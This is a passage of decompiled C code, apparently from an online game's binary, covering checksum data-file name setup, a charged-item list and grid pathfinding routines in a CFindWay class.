*)&v1->CheckSumData[12].DataFileName[8] = *(_DWORD *)"eObjAni.shn"; *(_DWORD *)&v1->CheckSumData[12].DataFileName[12] = *(_DWORD *)"Ani.shn"; *(_DWORD *)&v1->CheckSumData[12].DataFileName[16] = *(_DWORD *)"shn"; *(_DWORD *)&v1->CheckSumData[13].DataFileName[0] = *(_DWORD *)"MobInfo.shn"; *(_DWORD *)&v1->CheckSumData[13].DataFileName[4] = *(_DWORD *)"nfo.shn"; *(_DWORD *)&v1->CheckSumData[13].DataFileName[8] = *(_DWORD *)"shn"; *(_DWORD *)&v1->CheckSumData[14].DataFileName[0] = *(_DWORD *)"PassiveSkill.shn"; *(_DWORD *)&v1->CheckSumData[14].DataFileName[4] = *(_DWORD *)"iveSkill.shn"; *(_DWORD *)&v1->CheckSumData[14].DataFileName[8] = *(_DWORD *)"kill.shn"; *(_DWORD *)&v1->CheckSumData[14].DataFileName[12] = *(_DWORD *)".shn"; v1->CheckSumData[14].DataFileName[16] = aPassiveskill_s[16]; *(_DWORD *)&v1->CheckSumData[15].DataFileName[0] = *(_DWORD *)"Riding.shn"; *(_DWORD *)&v1->CheckSumData[15].DataFileName[4] = *(_DWORD *)"ng.shn"; *(_WORD *)&v1->CheckSumData[15].DataFileName[8] = *(_WORD *)"hn"; v1->CheckSumData[15].DataFileName[10] = aRiding_shn[10]; *(_DWORD *)&v1->CheckSumData[16].DataFileName[0] = *(_DWORD *)"SubAbstate.shn"; *(_DWORD *)&v1->CheckSumData[16].DataFileName[4] = *(_DWORD *)"bstate.shn"; *(_DWORD *)&v1->CheckSumData[16].DataFileName[8] = *(_DWORD *)"te.shn"; *(_WORD *)&v1->CheckSumData[16].DataFileName[12] = *(_WORD *)"hn"; v1->CheckSumData[16].DataFileName[14] = aSubabstate_shn[14]; *(_DWORD *)&v1->CheckSumData[17].DataFileName[0] = *(_DWORD *)"UpgradeInfo.shn"; *(_DWORD *)&v1->CheckSumData[17].DataFileName[4] = *(_DWORD *)"adeInfo.shn"; *(_DWORD *)&v1->CheckSumData[17].DataFileName[8] = *(_DWORD *)"nfo.shn"; *(_DWORD *)&v1->CheckSumData[17].DataFileName[12] = *(_DWORD *)"shn"; *(_DWORD *)&v1->CheckSumData[18].DataFileName[0] = *(_DWORD *)"WeaponAttrib.shn"; *(_DWORD *)&v1->CheckSumData[18].DataFileName[4] = *(_DWORD *)"onAttrib.shn"; *(_DWORD *)&v1->CheckSumData[18].DataFileName[8] = *(_DWORD *)"trib.shn"; *(_DWORD *)&v1->CheckSumData[18].DataFileName[12] = *(_DWORD *)".shn"; v1->CheckSumData[18].DataFileName[16] = aWeaponattrib_s[16]; *(_DWORD *)&v1->CheckSumData[19].DataFileName[0] = *(_DWORD *)"WeaponTitleData.shn"; *(_DWORD *)&v1->CheckSumData[19].DataFileName[4] = *(_DWORD *)"onTitleData.shn"; *(_DWORD *)&v1->CheckSumData[19].DataFileName[8] = *(_DWORD *)"tleData.shn"; *(_DWORD *)&v1->CheckSumData[19].DataFileName[12] = *(_DWORD *)"ata.shn"; *(_DWORD *)&v1->CheckSumData[19].DataFileName[16] = *(_DWORD *)"shn"; memcpy( v1->CheckSumData[20].DataFileName, "MiniHouseFurnitureObjEffect.shn", sizeof(v1->CheckSumData[20].DataFileName)); *(_DWORD *)&v1->CheckSumData[21].DataFileName[0] = *(_DWORD *)"SetItem.shn"; *(_DWORD *)&v1->CheckSumData[21].DataFileName[4] = *(_DWORD *)"tem.shn"; *(_DWORD *)&v1->CheckSumData[21].DataFileName[8] = *(_DWORD *)"shn"; *(_DWORD *)&v1->CheckSumData[22].DataFileName[0] = *(_DWORD *)"SetItemEffect.shn"; *(_DWORD *)&v1->CheckSumData[22].DataFileName[4] = *(_DWORD *)"temEffect.shn"; *(_DWORD *)&v1->CheckSumData[22].DataFileName[8] = *(_DWORD *)"ffect.shn"; *(_DWORD *)&v1->CheckSumData[22].DataFileName[12] = *(_DWORD *)"t.shn"; *(_WORD *)&v1->CheckSumData[22].DataFileName[16] = *(_WORD *)"n"; *(_DWORD *)&v1->CheckSumData[23].DataFileName[0] = *(_DWORD *)"MiniHouseEndure.shn"; *(_DWORD *)&v1->CheckSumData[23].DataFileName[4] = *(_DWORD *)"HouseEndure.shn"; *(_DWORD *)&v1->CheckSumData[23].DataFileName[8] = *(_DWORD *)"eEndure.shn"; *(_DWORD *)&v1->CheckSumData[23].DataFileName[12] = *(_DWORD *)"ure.shn"; *(_DWORD *)&v1->CheckSumData[23].DataFileName[16] = *(_DWORD *)"shn"; *(_DWORD *)&v1->CheckSumData[24].DataFileName[0] = *(_DWORD *)"DiceDividind.shn"; *(_DWORD *)&v1->CheckSumData[24].DataFileName[4] = *(_DWORD *)"Dividind.shn"; *(_DWORD *)&v1->CheckSumData[24].DataFileName[8] = *(_DWORD *)"dind.shn"; *(_DWORD *)&v1->CheckSumData[24].DataFileName[12] = *(_DWORD *)".shn"; v1->CheckSumData[24].DataFileName[16] = aDicedividind_s[16]; v11 = 25; do { v6 = v5; v7 = v5 + 1; do v8 = *(_BYTE *)v6++; while ( v8 ); v9 = v6 - v7; for ( i = 0; i < v9; ++i ) *(_BYTE *)(i + v5) = tolower(*(_BYTE *)(i + v5)); v5 += 65; --v11; } while ( v11 ); } //----- (0056C5B0) -------------------------------------------------------- void __thiscall CChargedItem::CChargedItem(CChargedItem *this) { this->m_NumOfChargedItem = 0; } //----- (0056C5C0) -------------------------------------------------------- int __thiscall CChargedItem::Add(CChargedItem *this, PROTO_CHARGED_ITEM_INFO *pInfo) { int v2; // eax@1 int result; // eax@2 char *v4; // eax@3 v2 = this->m_NumOfChargedItem; if ( v2 < 24 ) { v4 = (char *)this + 16 * v2; *(_DWORD *)v4 = pInfo->ItemOrderNo; *((_DWORD *)v4 + 1) = pInfo->ItemCode; *((_DWORD *)v4 + 2) = pInfo->ItemAmount; *((_DWORD *)v4 + 3) = pInfo->ItemRegisterDate._bf0; ++this->m_NumOfChargedItem; result = 1; } else { result = 0; } return result; } //----- (0056C600) -------------------------------------------------------- PROTO_CHARGED_ITEM_INFO *__thiscall CChargedItem::Find(CChargedItem *this, unsigned int ItemOrderNo) { int v2; // esi@1 int v3; // eax@1 CChargedItem *v4; // edx@2 PROTO_CHARGED_ITEM_INFO *result; // eax@5 v2 = this->m_NumOfChargedItem; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this; while ( v4->m_ChargedItemBF[0].ItemOrderNo != ItemOrderNo ) { ++v3; v4 = (CChargedItem *)((char *)v4 + 16); if ( v3 >= v2 ) goto LABEL_5; } result = (PROTO_CHARGED_ITEM_INFO *)((char *)this + 16 * v3); } return result; } //----- (0056C640) -------------------------------------------------------- void __thiscall CChargedItem::Clear(CChargedItem *this) { this->m_NumOfChargedItem = 0; } //----- (0056C650) -------------------------------------------------------- void __thiscall CFindWay::SetLoadedData(CFindWay *this, unsigned int uiRealOneSideDataSize, unsigned int uiOneSideBlockCnt, char *pBlockInfoByte) { CFindWay *v4; // esi@1 v4 = this; if ( this->m_pBlockInfoByte && this->m_bLoaded == 1 ) { operator delete(this->m_pBlockInfoByte); v4->m_pBlockInfoByte = 0; v4->m_bLoaded = 0; } v4->m_uiRealOneSideDataSize = uiRealOneSideDataSize; v4->m_uiOneSideBlockCnt = uiOneSideBlockCnt; v4->m_pBlockInfoByte = pBlockInfoByte; v4->FWMapSx = 8 * uiRealOneSideDataSize; v4->FWMapSy = uiOneSideBlockCnt; v4->m_bLoaded = 0; } //----- (0056C6A0) -------------------------------------------------------- void __thiscall CFindWay::_CFindWay(CFindWay *this) { CFindWay *v1; // esi@1 v1 = this; if ( this->m_pBlockInfoByte && this->m_bLoaded == 1 ) { operator delete(this->m_pBlockInfoByte); v1->m_pBlockInfoByte = 0; v1->m_bLoaded = 0; } if ( v1->LenMap ) { operator delete(v1->LenMap); v1->LenMap = 0; } } //----- (0056C6F0) -------------------------------------------------------- int __thiscall CFindWay::LineIntersect(CFindWay *this) { CFindWay *v1; // edi@1 unsigned int v2; // ebx@1 unsigned int v3; // eax@1 unsigned int v4; // ecx@1 unsigned int v5; // ebp@1 int v6; // esi@1 unsigned int v7; // eax@1 signed int v8; // edx@1 signed int v9; // ecx@1 int v10; // ebx@12 int v11; // ecx@12 bool v12; // cf@12 bool v13; // zf@12 unsigned int v14; // ecx@14 unsigned int y; // [sp+14h] [bp-18h]@1 unsigned int ay; // [sp+18h] [bp-14h]@5 int v18; // [sp+1Ch] [bp-10h]@5 signed int v19; // [sp+20h] [bp-Ch]@1 signed int by; // [sp+24h] [bp-8h]@1 v1 = this; v2 = this->Pos.X; v3 = this->LineStartPos.X; v4 = this->LineStartPos.Y; v5 = v1->LineStartPos.X; v6 = abs(v3 - v2); v7 = abs(v4 - v1->Pos.Y); v8 = v2 < v5 ? -1 : 1; y = v4; v9 = v1->Pos.Y < v4 ? -1 : 1; v19 = v2 < v5 ? -1 : 1; by = v9; if ( !v6 ) { v8 = 0; v19 = 0; } if ( !v7 ) { v9 = 0; by = 0; } v18 = v6; ay = v7; while ( v5 != v1->Pos.X || y != v1->Pos.Y ) { if ( v6 <= v7 == 0 ) { v5 += v8; ay += v7; if ( ay > v6 ) { y += v9; ay -= v6; } } else { v10 = v9 + y; v11 = v6 + v18; v12 = v6 + v18 < v7; v13 = v6 + v18 == v7; y = v10; v18 += v6; if ( !(v12 | v13) ) { v5 += v8; v18 = v11 - v7; } } v14 = v1->m_uiOneSideBlockCnt; if ( v5 >= v14 || y >= v14 || (unsigned __int8)(1 << (v5 - 8 * (v5 >> 3))) & *(&v1->m_pBlockInfoByte[y * v1->m_uiRealOneSideDataSize] + (v5 >> 3)) ) return 1; v8 = v19; v9 = by; } return 0; } //----- (0056C840) -------------------------------------------------------- void __thiscall CFindWay::LenMapInit(CFindWay *this, int nSizeX, int nSizeY) { CFindWay *v3; // esi@1 v3 = this; if ( this->LenMap && (this->LenMapSx != nSizeX || this->LenMapSy != nSizeY) ) { operator delete(this->LenMap); v3->LenMap = 0; } if ( !v3->LenMap ) { v3->LenMap = (unsigned __int16 *)operator new__(2 * nSizeY * nSizeX); v3->LenMapSx = nSizeX; v3->LenMapSy = nSizeY; } } //----- (0056C8B0) -------------------------------------------------------- void __thiscall CFindWay::LenMapClear(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // ecx@1 char v3; // dl@1 void *v4; // edi@1 int v5; // edi@1 int i; // ecx@1 int v7; // ecx@4 int v8; // edi@4 int v9; // ebp@4 int v10; // ebx@4 int v11; // eax@4 int v12; // edx@8 int v13; // edx@10 int v14; // [sp+10h] [bp-Ch]@4 v1 = this; v2 = 2 * this->LenMapSy * this->LenMapSx; v3 = v2; v4 = v1->LenMap; v2 >>= 2; memset(v4, -1, 4 * v2); v5 = (int)((char *)v4 + 4 * v2); for ( i = v3 & 3; i; --i ) *(_BYTE *)v5++ = -1; v7 = v1->StartPos.X; v8 = v1->StartPos.Y; v9 = v1->LenMapSx / 2; v10 = (signed int)(v1->EndPos.X - v7) / 2 - v9 + v7; v14 = v1->LenMapSy / 2; v11 = v8 + (signed int)(v1->EndPos.Y - v8) / 2 - v14; v1->BaseLenMapX = v10; v1->BaseLenMapY = v11; if ( v7 < v10 || v7 >= v10 + v1->LenMapSx || v8 < v11 || v8 >= v11 + v1->LenMapSy || (v12 = v1->EndPos.X, v12 < v10) || v12 >= v10 + v1->LenMapSx || (v13 = v1->EndPos.Y, v13 < v11) || v13 >= v11 + v1->LenMapSy ) { v1->BaseLenMapY = v8 - v14; v1->BaseLenMapX = v7 - v9; v1->LenMapInRange = 0; } else { v1->LenMapInRange = 1; } } //----- (0056C9C0) -------------------------------------------------------- int __thiscall CFindWay::LenMapSet(CFindWay *this, int x, int y, unsigned __int16 value) { int v4; // esi@1 int v5; // edx@2 int result; // eax@3 int v7; // edi@4 v4 = this->BaseLenMapX; if ( v4 <= x && (v5 = this->BaseLenMapY, v5 <= y) ) { v7 = this->LenMapSx; if ( v7 + v4 > x && v5 + this->LenMapSy > y ) { this->LenMap[x + v7 * (y - v5) - v4] = value; result = 1; } else { result = 0; } } else { result = 0; } return result; } //----- (0056CA30) -------------------------------------------------------- int __thiscall CFindWay::SearchMoveable(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // eax@1 unsigned int v3; // ecx@1 unsigned int v4; // edx@1 int v5; // ebp@1 unsigned __int16 v6; // di@1 unsigned int v7; // ebx@2 unsigned int v8; // eax@3 unsigned int v9; // ecx@6 int v10; // ecx@7 unsigned int v11; // ecx@13 int v12; // ecx@14 int v13; // ecx@20 int v14; // ebx@20 unsigned int v15; // eax@21 unsigned int v16; // ecx@24 int v17; // ecx@25 unsigned int v18; // eax@29 int v19; // ecx@33 __int16 v20; // di@35 __int16 v21; // ax@35 unsigned int v22; // eax@40 unsigned int v23; // eax@42 unsigned int v24; // ecx@48 unsigned int v25; // eax@50 signed int FoundLen; // [sp+10h] [bp-14h]@1 unsigned int P2; // [sp+14h] [bp-10h]@1 int P2_4; // [sp+18h] [bp-Ch]@1 int P1; // [sp+1Ch] [bp-8h]@1 int P1_4; // [sp+20h] [bp-4h]@1 v1 = this; v2 = this->EndPos.X; v3 = this->EndPos.Y; v4 = v2 - 1; FoundLen = 0; v5 = v3 + 1; P1_4 = v3 - 1; v6 = 0; P1 = v2 - 1; P2 = v2 + 1; P2_4 = v3 + 1; while ( 2 ) { v7 = v4; if ( (signed int)v4 < (signed int)P2 ) { while ( 1 ) { v8 = v1->m_uiOneSideBlockCnt; if ( v7 >= v8 ) goto LABEL_18; if ( P1_4 < v8 && !((unsigned __int8)(1 << (v7 - 8 * (v7 >> 3))) & *(&v1->m_pBlockInfoByte[P1_4 * v1->m_uiRealOneSideDataSize] + (v7 >> 3))) ) { v9 = v1->StartPos.X; if ( FoundLen ) { v10 = abs(P1_4 - v1->StartPos.Y) + abs(v7 - v9); if ( v6 <= (unsigned __int16)v10 ) goto LABEL_11; v1->NewPos.Y = P1_4; v6 = v10; } else { v1->NewPos.Y = P1_4; v6 = abs(P1_4 - v1->StartPos.Y) + abs(v7 - v9); FoundLen = 1; } v1->NewPos.X = v7; } LABEL_11: if ( P2_4 >= v1->m_uiOneSideBlockCnt || (unsigned __int8)(1 << (v7 - 8 * (v7 >> 3))) & *(&v1->m_pBlockInfoByte[P2_4 * v1->m_uiRealOneSideDataSize] + (v7 >> 3)) ) goto LABEL_18; v11 = v1->StartPos.X; if ( !FoundLen ) { v1->NewPos.Y = P2_4; v6 = abs(P2_4 - v1->StartPos.Y) + abs(v7 - v11); FoundLen = 1; goto LABEL_17; } v12 = abs(P2_4 - v1->StartPos.Y) + abs(v7 - v11); if ( v6 > (unsigned __int16)v12 ) { v1->NewPos.Y = P2_4; v6 = v12; LABEL_17: v1->NewPos.X = v7; } LABEL_18: ++v7; if ( (signed int)v7 >= (signed int)P2 ) { v4 = P1; v5 = P2_4; break; } } } v13 = P1_4; v14 = P1_4 + 1; if ( P1_4 + 1 >= v5 - 1 ) goto LABEL_39; do { v15 = v1->m_uiOneSideBlockCnt; if ( v4 < v15 && v14 < v15 && !((unsigned __int8)(1 << (v4 - 8 * (v4 >> 3))) & *(&v1->m_pBlockInfoByte[v14 * v1->m_uiRealOneSideDataSize] + (v4 >> 3))) ) { v16 = v1->StartPos.Y; if ( !FoundLen ) { v1->NewPos.X = v4; v6 = abs(P1 - v1->StartPos.X) + abs(v14 - v16); FoundLen = 1; goto LABEL_28; } v17 = abs(P1 - v1->StartPos.X) + abs(v14 - v16); if ( v6 > (unsigned __int16)v17 ) { v1->NewPos.X = P1; v6 = v17; LABEL_28: v1->NewPos.Y = v14; goto LABEL_29; } } LABEL_29: v18 = v1->m_uiOneSideBlockCnt; if ( P2 < v18 && v14 < v18 && !((unsigned __int8)(1 << (P2 - 8 * (P2 >> 3))) & *(&v1->m_pBlockInfoByte[v14 * v1->m_uiRealOneSideDataSize] + (P2 >> 3))) ) { if ( FoundLen ) { v19 = abs(P2 - v1->StartPos.X) + abs(v14 - v1->StartPos.Y); if ( v6 <= (unsigned __int16)v19 ) goto LABEL_37; v1->NewPos.X = P2; v6 = v19; } else { v20 = abs(v14 - v1->StartPos.Y); v21 = abs(P2 - v1->StartPos.X); v1->NewPos.X = P2; v6 = v21 + v20; FoundLen = 1; } v1->NewPos.Y = v14; } LABEL_37: v5 = P2_4; v4 = P1; ++v14; } while ( v14 < P2_4 - 1 ); v13 = P1_4; LABEL_39: if ( !FoundLen ) { v22 = v1->StartPos.X; if ( v22 >= v4 ) { if ( v22 <= P2 ) { v23 = v1->StartPos.Y; if ( v23 >= v13 ) { if ( v23 <= v5 ) return 0; } } } if ( v4 ) { --v4; P1 = v4; } if ( v13 ) P1_4 = v13 - 1; v24 = v1->FWMapSx; if ( P2 < v24 ) ++P2; v25 = v1->FWMapSy; if ( v5 < v25 ) { ++v5; P2_4 = v5; } if ( !(v4 + P1_4) && v5 + P2 == v25 + v24 - 2 ) return 0; continue; } return 1; } } //----- (0056CDF0) -------------------------------------------------------- void __thiscall CFindWay::FindWay(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // ecx@1 unsigned int v3; // eax@1 unsigned int v4; // ebp@1 unsigned int v5; // edi@1 unsigned int v6; // ecx@4 unsigned int v7; // eax@4 unsigned int v8; // edx@4 unsigned int v9; // ecx@5 unsigned int v10; // edx@5 bool v11; // zf@5 unsigned int v12; // ecx@8 unsigned int v13; // edx@8 unsigned int v14; // ecx@9 unsigned int v15; // edx@9 unsigned int v16; // eax@9 unsigned int v17; // ecx@10 unsigned int v18; // edx@10 unsigned int v19; // ebx@11 unsigned int v20; // edx@11 int v21; // edi@11 int v22; // ecx@11 int v23; // ebx@11 int v24; // eax@11 unsigned int v25; // eax@11 unsigned int v26; // ecx@11 unsigned int v27; // edx@12 unsigned int v28; // eax@12 int v29; // ecx@13 unsigned int v30; // ecx@17 int v31; // ecx@19 int v32; // edx@19 int v33; // eax@19 int v34; // edi@20 int v35; // ebx@21 int v36; // eax@23 unsigned int v37; // edx@23 unsigned int v38; // eax@23 unsigned int v39; // edi@24 int v40; // edx@24 int v41; // eax@24 int v42; // ebx@25 unsigned int v43; // ecx@29 int v44; // ecx@33 unsigned int v45; // eax@36 int v46; // ecx@36 int v47; // eax@36 __int16 v48; // di@36 unsigned int v49; // eax@36 int v50; // eax@36 unsigned int v51; // ecx@37 signed int v52; // edx@39 int v53; // eax@41 unsigned int v54; // eax@42 unsigned int v55; // ecx@46 unsigned int v56; // edx@46 unsigned int v57; // ecx@47 unsigned int v58; // edx@47 int v59; // eax@50 int v60; // edx@51 int v61; // edi@51 int v62; // ecx@52 int v63; // ebx@53 signed __int16 v64; // cx@55 int v65; // ecx@59 int v66; // ebx@59 int v67; // edx@59 int v68; // ecx@59 int v69; // edi@59 int v70; // edx@60 int v71; // ebx@61 signed __int16 v72; // dx@63 int v73; // edx@67 int v74; // ebx@67 int v75; // ecx@67 int v76; // edi@67 int v77; // ecx@67 int v78; // edx@68 int v79; // ebx@69 signed __int16 v80; // dx@71 int v81; // edx@75 int v82; // ebx@75 int v83; // ecx@75 int v84; // edx@75 int v85; // ecx@75 int v86; // edi@76 int v87; // ebx@77 signed __int16 v88; // di@79 int v89; // edi@83 unsigned int v90; // eax@84 int v91; // edx@84 int v92; // eax@84 bool v93; // sf@84 int v94; // eax@86 unsigned int v95; // ebx@86 int v96; // edi@86 unsigned int v97; // ebp@86 int v98; // ecx@88 int BI; // [sp+10h] [bp-10h]@23 signed __int16 BIa; // [sp+10h] [bp-10h]@47 signed int j; // [sp+14h] [bp-Ch]@50 int ja; // [sp+14h] [bp-Ch]@86 unsigned __int16 PosLenMapValue; // [sp+1Ch] [bp-4h]@23 v1 = this; v2 = this->EndPos.X; v3 = v1->m_uiOneSideBlockCnt; v4 = 0; v5 = v1->EndPos.Y; v1->NoJunc = 0; v1->ChangedEndPos = 0; if ( v2 >= v3 || v5 >= v3 || (unsigned __int8)(1 << (v2 - 8 * (v2 >> 3))) & *(&v1->m_pBlockInfoByte[v5 * v1->m_uiRealOneSideDataSize] + (v2 >> 3)) ) { v6 = v1->StartPos.X; v7 = v1->EndPos.Y; v1->LineStartPos.X = v1->EndPos.X; v8 = v1->StartPos.Y; v1->Pos.X = v6; v1->LineStartPos.Y = v7; v1->Pos.Y = v8; if ( !CFindWay::SearchMoveable(v1) ) { v12 = v1->StartPos.X; v13 = v1->StartPos.Y; v1->GoalReached = 0; v1->ChangedEndPos = 1; v1->EndPos.X = v12; v1->EndPos.Y = v13; v1->JuncList[0].X = v12; v1->JuncList[0].Y = v13; v1->NumOfJunc = 1; return; } v9 = v1->NewPos.Y; v10 = v1->NewPos.X; v1->EndPos.X = v10; v1->EndPos.Y = v9; v1->JuncList[0].X = v10; v11 = v10 == v1->StartPos.X; v1->JuncList[0].Y = v9; v1->ChangedEndPos = 1; if ( v11 && v1->EndPos.Y == v1->StartPos.Y ) { v1->GoalReached = 0; v1->NumOfJunc = 1; return; } } v14 = v1->StartPos.Y; v15 = v1->EndPos.X; v1->LineStartPos.X = v1->StartPos.X; v16 = v1->EndPos.Y; v1->LineStartPos.Y = v14; v1->Pos.X = v15; v1->Pos.Y = v16; if ( CFindWay::LineIntersect(v1) ) { CFindWay::LenMapClear(v1); v19 = v1->EndPos.X; v20 = v1->EndPos.Y; v21 = v1->StartPos.X; v1->PList[0].Y = v1->StartPos.Y; v1->PList[0].X = v21; v22 = v21 - v19; v23 = v1->StartPos.Y; v24 = v1->StartPos.Y - v20; v1->DiffY = v24; v1->DiffX = v22; v1->LList[0] = abs(v22) + abs(v24); v1->PCnt = 1; CFindWay::LenMapSet(v1, v21, v23, 1u); v25 = v1->StartPos.Y; v26 = v1->StartPos.X; v1->Pos.X = v26; v1->Pos.Y = v25; v1->NewPos.X = v26; v1->NewPos.Y = v25; v1->Step = 1; v1->GoalReached = 0; v1->NearLength = -1; do { v27 = v1->PCnt; v28 = 0; v1->Shortest = v4; if ( v27 > v4 ) { v29 = (int)v1->LList; do { if ( *(_WORD *)v29 < v1->LList[v1->Shortest] ) v1->Shortest = v28; ++v28; v29 += 2; } while ( v28 < v1->PCnt ); } v30 = v1->Shortest; v1->Pos.X = v1->PList[v30].X; v1->Pos.Y = v1->PList[v30].Y; if ( v1->LList[v30] < v1->NearLength ) { v1->NearPos.X = v1->Pos.X; v1->NearPos.Y = v1->Pos.Y; v1->NearLength = v1->LList[v30]; } v1->PCnt = v27 - 1; v1->PList[v30].X = v1->PList[v27 - 1].X; v1->PList[v30].Y = v1->PList[v27 - 1].Y; v1->LList[v1->Shortest] = v1->LList[v1->PCnt]; v31 = v1->Pos.X; v32 = v1->BaseLenMapX; v33 = v1->Pos.Y; if ( v32 <= v31 ) { v34 = v1->BaseLenMapY; if ( v34 <= v33 ) { v35 = v1->LenMapSx; if ( v35 + v32 > v31 ) { if ( v34 + v1->LenMapSy > v33 ) { v36 = v35 * (v33 - v34) - v32; v37 = v1->Pos.X; PosLenMapValue = v1->LenMap[v31 + v36] + 1; v38 = v1->Pos.Y; v1->NewPos.Y = v38; v1->NewPos.X = v37; v1->Dir = 2; v1->NewPos.Y = v38 - 1; BI = 0; do { v39 = v1->NewPos.X; v40 = v1->BaseLenMapX; v41 = v1->NewPos.Y; if ( v40 <= (signed int)v39 ) { v42 = v1->BaseLenMapY; if ( v42 <= v41 ) { if ( v40 + v1->LenMapSx > (signed int)v39 ) { if ( v42 + v1->LenMapSy > v41 ) { if ( v1->LenMap[v39 + v1->LenMapSx * (v41 - v42) - v40] == -1 ) { v43 = v1->m_uiOneSideBlockCnt; if ( v39 < v43 ) { if ( v41 < v43 ) { if ( !((unsigned __int8)(1 << (v39 - 8 * (v39 >> 3))) & *(&v1->m_pBlockInfoByte[v41 * v1->m_uiRealOneSideDataSize] + (v39 >> 3))) ) { if ( v40 <= (signed int)v39 ) { v44 = v1->BaseLenMapY; if ( v44 <= v41 ) { if ( v40 + v1->LenMapSx > (signed int)v39 ) { if ( v42 + v1->LenMapSy > v41 ) { v1->LenMap[v39 + v1->LenMapSx * (v41 - v44) - v40] = PosLenMapValue; v45 = v1->PCnt; v1->PList[v45].X = v1->NewPos.X; v1->PList[v45].Y = v1->NewPos.Y; v46 = v1->NewPos.X - v1->EndPos.X; v47 = v1->NewPos.Y - v1->EndPos.Y; v1->DiffY = v47; v48 = abs(v47); v49 = v1->PCnt; v1->DiffX = v46; v1->LList[v49] = abs(v46) + v48; v50 = v1->PCnt + 1; v1->PCnt = v50; if ( (unsigned int)v50 >= 0x300 ) break; } } } } } } } } } } } } v51 = v1->NewPos.X; if ( v51 != v1->EndPos.X || v1->NewPos.Y != v1->EndPos.Y ) { v52 = BI; } else { v1->GoalReached = 1; v52 = 7; } v53 = v1->Dir; v1->NewPos.X = v51 + v1->XTbl[v53]; v1->NewPos.Y += v1->YTbl[v53]; v1->Dir = v1->DirTbl[v53]; BI = v52 + 1; } while ( (unsigned int)(v52 + 1) < 8 ); } } } } v54 = v1->PCnt; v4 = 0; } while ( v54 < 0x300 && !v1->GoalReached && v54 ); if ( !v1->GoalReached ) { v55 = v1->NearPos.X; v56 = v1->NearPos.Y; v1->ChangedEndPos = 1; v1->EndPos.X = v55; v1->EndPos.Y = v56; } v57 = v1->EndPos.Y; v58 = v1->EndPos.X; v1->NewPos.X = v58; v1->NewPos.Y = v57; v1->JuncBF[0].X = v58; v1->JuncBF[0].Y = v57; BIa = -1; v1->NoJunc = 1; while ( v1->NewPos.X != v1->StartPos.X || v1->NewPos.Y != v1->StartPos.Y ) { --v1->NewPos.Y; v59 = v1->BaseLenMapX; v1->Dir = 2; j = 2; do { v60 = v1->NewPos.X; v61 = v1->NewPos.Y; if ( v59 <= v60 ) { v62 = v1->BaseLenMapY; if ( v62 <= v61 ) { v63 = v1->LenMapSx; if ( v63 + v59 > v60 ) { if ( v62 + v1->LenMapSy > v61 ) { v64 = v1->LenMap[v60 + v63 * (v61 - v62) - v59]; if ( v64 < (unsigned __int16)BIa ) { if ( v60 < v1->FWMapSx && v61 < v1->FWMapSy ) { BIa = v64; v1->ShPos.X = v60; v1->ShPos.Y = v61; } } } } } } v65 = v1->Dir; v66 = v60 + v1->XTbl[v65]; v1->NewPos.X = v66; v67 = v61 + v1->YTbl[v65]; v1->NewPos.Y = v67; v1->Dir = v1->DirTbl[v65]; v68 = v66; v69 = v67; if ( v59 <= v66 ) { v70 = v1->BaseLenMapY; if ( v70 <= v69 ) { v71 = v1->LenMapSx; if ( v71 + v59 > v68 ) { if ( v70 + v1->LenMapSy > v69 ) { v72 = v1->LenMap[v68 + v71 * (v69 - v70) - v59]; if ( v72 < (unsigned __int16)BIa ) { if ( v68 < v1->FWMapSx && v69 < v1->FWMapSy ) { BIa = v72; v1->ShPos.X = v68; v1->ShPos.Y = v69; } } } } } } v73 = v1->Dir; v74 = v68 + v1->XTbl[v73]; v1->NewPos.X = v74; v75 = v69 + v1->YTbl[v73]; v1->NewPos.Y = v75; v76 = v75; v77 = v74; v1->Dir = v1->DirTbl[v73]; if ( v59 <= v74 ) { v78 = v1->BaseLenMapY; if ( v78 <= v76 ) { v79 = v1->LenMapSx; if ( v79 + v59 > v77 ) { if ( v78 + v1->LenMapSy > v76 ) { v80 = v1->LenMap[v77 + v79 * (v76 - v78) - v59]; if ( v80 < (unsigned __int16)BIa ) { if ( v77 < v1->FWMapSx && v76 < v1->FWMapSy ) { BIa = v80; v1->ShPos.X = v77; v1->ShPos.Y = v76; } } } } } } v81 = v1->Dir; v82 = v77 + v1->XTbl[v81]; v1->NewPos.X = v82; v83 = v76 + v1->YTbl[v81]; v1->NewPos.Y = v83; v1->Dir = v1->DirTbl[v81]; v84 = v83; v85 = v82; if ( v59 <= v82 ) { v86 = v1->BaseLenMapY; if ( v86 <= v84 ) { v87 = v1->LenMapSx; if ( v87 + v59 > v85 ) { if ( v86 + v1->LenMapSy > v84 ) { v88 = v1->LenMap[v85 + v87 * (v84 - v86) - v59]; if ( v88 < (unsigned __int16)BIa ) { if ( v85 < v1->FWMapSx && v84 < v1->FWMapSy ) { BIa = v88; v1->ShPos.X = v85; v1->ShPos.Y = v84; } } } } } } v89 = v1->Dir; v1->NewPos.X = v85 + v1->XTbl[v89]; v1->NewPos.Y = v84 + v1->YTbl[v89]; v11 = j == 1; v1->Dir = v1->DirTbl[v89]; --j; } while ( !v11 ); v90 = v1->ShPos.X; v91 = v1->NoJunc; v1->NewPos.Y = v1->ShPos.Y; v1->NewPos.X = v90; v1->JuncBF[v91].X = v90; v1->JuncBF[v91].Y = v1->ShPos.Y; v92 = v1->NoJunc + 1; v4 = 0; v93 = v1->NoJunc - 511 < 0; v1->NoJunc = v92; if ( !(v93 ^ __OFSUB__(v92, 512)) ) { v1->GoalReached = 0; break; } } v94 = v1->NoJunc; v95 = v1->StartPos.X; v96 = 0; v1->NumOfJunc = v4; v97 = v1->StartPos.Y; ja = v94; while ( v96 < ja ) { v1->LineStartPos.X = v95; v1->LineStartPos.Y = v97; v1->Pos.X = v1->JuncBF[v96].X; v1->Pos.Y = v1->JuncBF[v96].Y; if ( CFindWay::LineIntersect(v1) ) { ++v96; } else { v95 = v1->JuncBF[v96].X; v97 = v1->JuncBF[v96].Y; v98 = v1->NumOfJunc; v1->JuncList[v98].X = v1->JuncBF[v96].X; v1->JuncList[v98].Y = v1->JuncBF[v96].Y; ja = v96; ++v1->NumOfJunc; v96 = 0; } } } else { v17 = v1->EndPos.X; v18 = v1->EndPos.Y; v1->GoalReached = 1; v1->JuncList[0].X = v17; v1->JuncList[0].Y = v18; v1->NumOfJunc = 1; } } //----- (0056D7B0) -------------------------------------------------------- void __thiscall CFindWay::Init(CFindWay *this) { 